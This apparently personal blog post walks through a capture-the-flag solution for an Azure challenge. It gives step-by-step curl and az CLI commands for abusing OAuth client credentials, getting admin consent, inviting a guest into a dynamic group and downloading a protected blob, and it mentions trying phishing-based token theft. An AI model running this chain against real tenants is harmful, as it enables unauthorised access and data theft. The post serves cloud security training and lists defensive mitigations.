Skip to main content
  1. Writeups/

Breaking The Barriers: OAuth Abuse, Dynamic Groups & Guest Privilege Escalation

·6 mins·
Arbaaz Jamadar
Author
Arbaaz Jamadar
Table of Contents
New Article!!

Breaking-The-Barrier.png

Challenge -> https://cloudsecuritychampionship.com/challenge/3

Overview:
#

Attack Chain: By leveraging our malicious app’s client ID/secret, we enumerated Graph API roles (Group.Read.All, User.Invite.All). We obtained admin consent, invited a controlled guest account, and exploited a dynamic group rule to gain access to a blob storage account. Despite guest portal restrictions, we used az CLI to mint a blob access token and successfully exfiltrated the flag.

Defensive Gap: Lack of admin consent governance + insufficient monitoring of guest invitations allowed persistence and privilege escalation.

Mitigation: Enforce conditional admin consent, restrict dynamic group rules, and alert on anomalous guest activity.

Key Techniques Demonstrated:
#

  1. Abuse of OAuth client credentials
  2. Enumeration of Graph API roles and groups
  3. Exploitation of dynamic group membership
  4. Cross-tenant guest access & resource exfiltration

Given to us:
#

  1. Our malicious app’s:
    1. AZURE_CLIENT_ID
    2. AZURE_CLIENT_SECRET
    3. AZURE_TENANT_ID
  2. A web endpoint where we can register as a constraint admin user.
    1. WEB_ACCESS_ENDPOINT

Initial Approach:
#

  1. As we had the client ID and secret, we could try to steal tokens using 365-stealer or pynAUTH after phishing the admin user that we created to gain a token from the user’s credentials → This approach failed every time, as the application wasn’t registered with the victim’s domain and it said that the grants we were asking for were not allowed.

Solution:
#

Reconaissance:
#

  1. Let’s check what grant actions our Malicious app can ask for from the victim’s domain. For that, we need to have the victim’s tenant ID:

    1. Get the Victim’s tenant_id by asking for metadata from the OpenID endpoint of the Victim’s domain

      1. Get the Client’s Tenant ID:

        curl -s "https://login.microsoftonline.com/<VICTIM_TENANT_NAME>/v2.0/.well-known/openid-configuration" | jq -r .issuer
        
    2. Or you can use the following command to create a link asking the user to log in to our Malicious OAuth App’s Tenant. Because the user is not a part of the Malicious OAuth App’s tenant, it will give you an error exposing the identity provider of the victim’s account:

      echo "https://login.microsoftonline.com/$AZURE_TENANT_ID/oauth2/v2.0/authorize?
      client_id=$AZURE_CLIENT_ID&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%2F
      &response_mode=query&scope=https%3A%2F%2Fgraph.microsoft.com%2F.default"
      

      idp-disclose.png

  2. Check if your OAuth Service Principal has been granted any roles previously via the tenant:

    1. Get the Auth Token and decode the token:

      curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d 'client_id='$AZURE_CLIENT_ID'&scope=https%3A%2F%2Fgraph.microsoft.com%2F.default&client_secret='$AZURE_CLIENT_SECRET'&grant_type=client_credentials' 'https://login.microsoftonline.com/'$VICTIM_TENANT_ID'/oauth2/v2.0/token'
      
      TOKEN="<TOKEN>"; for part in 1 2; do echo $TOKEN | cut -d "." -f$part | base64 -d 2>/dev/null | jq .; done
      

      roles-that-are-allowed.png

    2. The token describes what roles an external OAuth app can ask for from the victim’s tenant; now, all that is left is to get an admin consent over these roles so that we can use the token to get tokens from respective services.

    3. URL to get admin consent:

      echo https://login.microsoft.com/common/adminconsent?client_id=$AZURE_CLIENT_ID
      
    4. Log in as the user created on the WEB_APP_ENDPOINT, and allow access on the consent panel.

      consent-panel.png

    5. Generate a token from the authenticated user:

      curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d 'client_id='$AZURE_CLIENT_ID'&scope=https%3A%2F%[2F](http://2foutlook.office365.com/)graph.microsoft.com%2F.default&client_secret='$AZURE_CLIENT_SECRET'&grant_type=client_credentials' '[https://login.microsoftonline.com/](https://login.microsoftonline.com/)'$VICTIM_TENANT_ID'/oauth2/v2.0/token'
      

Enumeration:
#

  1. As we know, there are two roles available: (The roles allow you to enumerate and use groups and invitaions graph API calls)

    1. Group.Read.All → We can enumerate groups using the token.
    2. User.Invite.All → We can invite users using the token.
  2. Use the token to enumerate the groups:

    curl -X GET https://graph.microsoft.com/v1.0/groups \
         -H "Authorization: Bearer <TOKEN>"
    

    enumerate-groups.png

  3. There is a dynamic group that will auto-enroll a user if the user meets the membershipRule :

    1. We can’t change department, city, and job title as these require directory read and write, user read and write roles.
    2. The only parameter that is in our control is displayName and userType(explained below).
  4. Note down the group’s ID, as it will later help us verify if the user has been successfully added to the group.

    Group_id = 7d060bb7-75e4-456e-b46f-382f4ff0c4fd
    
  5. Let’s see what resources the group has access to:

    curl -s -X GET "https://graph.microsoft.com/v1.0/groups/'$GROUP_ID'/appRoleAssignments" -H "Authorization: Bearer $TOKEN" | jq .
    
  6. There is a resource attached to the group:

    1. Take a note of resource ID = 80b871a5-ce2b-4685-81e8-a02ea36dcf65

      resource-group-id.png

Exploitation:
#

  1. Crete invitation to invite a user:

    1. While creating an invitation we can customize the following fields:
      1. invitedUserDisplayName → This can be customized without any constraint
      2. invitedUserType → anything except the guest requires additional roles such as user read and write, and directory read and write.
    2. Before you invite a user, sign up to Azure using the email ID (I used my personal mail; you can use TempMail) and then invite the user.
    3. Use the following to create an invitation:
    curl -X POST https://graph.microsoft.com/v1.0/invitations \
        -H "Authorization: Bearer <TOKEN>" \
        -H "Content-Type: application\json" \
        -d '{
                "invitedUserEmailAddress": "example@example.com",
                "invitedUserDisplayName": "CTF_ct",
                    "inviteRedirectUrl": "https://portal.azure.com/#home"
                }' | jq .
    
  2. You will get a redemption link that you can use to claim this profile. Sign in and allow the consent. The account should be added to the WIZ CTF CHALLENGE domain.

    invitation-link.png

  3. As the user was invited as a guest, the resources within the WIZ CTF CHALLENGE domain cannot be viewed through the console, as all the resources will be viewed with the users default domain id (which is not authorized to view anything except subscriptions). I was stuck in this rabbit hole for a day T_T. Azure B2B guest users often lack directory read/write permissions by default, which explains why the portal/console didn’t show resources.

  4. Login to the Azure CLI with the new created user using devicecode api call.

    az login --use-device-code --tenant $VICTIM_TENANT_ID
    

    login-to-cli.png

  5. Create a token to list what groups the user is part of to confirm if the user is part of the user group from the CTF flag.

    az ad user get-member-groups --id $(az ad signed-in-user show --query id -o tsv)
    

    verify-group.png

  6. According to the service principal we can see that the group has access to blob:

    az rest --method GET --uri "https://graph.microsoft.com/v1.0/servicePrincipals/'$RESOURCE_ID'"

serviceprincipal-resource.png

resource-serviceprincipal.png

Note the blob’s replyURLs:

https://azurechallengectfflag.blob.core.windows.net/grab-the-flag/ctf_flag.txt
  1. Now that we are a part of the group, we can easily access the CTF challenge blob and exfiltrate the flag, or that is what I thought. As I mentioned before that because we are guests, we are not authorized to access resources directly through the console or over the web. Azure enforces signed requests (SAS tokens or OAuth2 bearer tokens). That’s why guest browser access failed

    browser-fail.png

  2. You can directly download the blob’s content via the auth-mode login from Azure CLI. “login” mode will directly use your login credentials for the authentication.

    az storage blob download --account-name azurechallengectfflag -c grab-the-flag -n ctf_flag.txt --auth-mode login
    

    blob-flag.png

Note:
#

The blob url structure is as follows:
https://{storage-account}.blob.core.windows.net/{container}/{blob}

Success🎉🎉, we got the flag!!
#

Defensive Gaps Identified:
#

  1. Defensive Gaps Identified
  2. No logging/alerting on admin consent to external apps
  3. Dynamic group membership rules too permissive
  4. Guest activity not audited in blob storage logs

Mitigations:
#

  1. Admin consent requests for external apps should be logged in Entra ID (Azure AD) sign-in logs.
  2. Group membership changes (especially involving dynamic groups) should trigger alerts.
  3. Blob access by guest accounts should be audited in Azure Monitor / Storage logs.

Reference:
#

  1. https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-client-creds-grant-flow
  2. https://www.wiz.io/blog/midnight-blizzard-microsoft-breach-analysis-and-best-practices
  3. https://learn.microsoft.com/en-us/entra/identity/users/groups-dynamic-membership
  4. https://learn.microsoft.com/en-us/cli/azure/storage/blob?view=azure-cli-latest#az-storage-blob-download

Related

Contain Me If You Can: Container Escape WIZ CTF
·5 mins
Perimeter Leak: Exploiting AWS S3 via Proxy Misconfigurations
·5 mins
ProxHome: Secure Proxmox Homelab for Virtualization & Networking
·1 min